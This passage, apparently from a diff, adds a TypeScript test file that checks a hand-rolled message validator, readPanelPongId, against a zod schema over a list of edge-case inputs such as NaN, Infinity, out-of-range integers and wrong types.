hand-rolled to avoid zod's ~90x rejected-parse + * allocation cost on the guest-controlled bridge path. It must therefore + * accept exactly what `panelPongSchema` accepts, forever. */ + +const CASES: unknown[] = [ + { type: PANEL_PONG_TYPE, pingId: 0 }, + { type: PANEL_PONG_TYPE, pingId: 7 }, + { type: PANEL_PONG_TYPE, pingId: Number.MAX_SAFE_INTEGER }, + // Above the safe range zod's .int() refuses, though Number.isInteger accepts. + { type: PANEL_PONG_TYPE, pingId: Number.MAX_SAFE_INTEGER + 1 }, + { type: PANEL_PONG_TYPE, pingId: 2 ** 60 }, + { type: PANEL_PONG_TYPE, pingId: 1e100 }, + { type: PANEL_PONG_TYPE, pingId: Number.MAX_VALUE }, + { type: PANEL_PONG_TYPE, pingId: 7, extra: 'ignored' }, + { type: PANEL_PONG_TYPE, pingId: -1 }, + { type: PANEL_PONG_TYPE, pingId: 1.5 }, + { type: PANEL_PONG_TYPE, pingId: Number.NaN }, + { type: PANEL_PONG_TYPE, pingId: Number.POSITIVE_INFINITY }, + { type: PANEL_PONG_TYPE, pingId: '7' }, + { type: PANEL_PONG_TYPE, pingId: null }, + { type: PANEL_PONG_TYPE }, + { type: 'orca-panel-action', pingId: 7 }, + { pingId: 7 }, + 'orca-panel-pong', + null, + undefined, + 42, + [] +] + +describe('readPanelPongId', () => { + it.each(CASES.map((data, index) => [index, data]))( + 'agrees with panelPongSchema on case %i', + (_index, data) => { + expect(readPanelPongId(data) !== null).toBe(panelPongSchema.safeParse(data).success) + } + ) + + it('returns the pingId the watchdog must correlate against', () => { + expect(readPanelPongId({ type: PANEL_PONG_TYPE, pingId: 7 })).toBe(7) + expect(readPanelPongId({ type: PANEL_PONG_TYPE, pingId: 0 })).toBe(0) + }) +})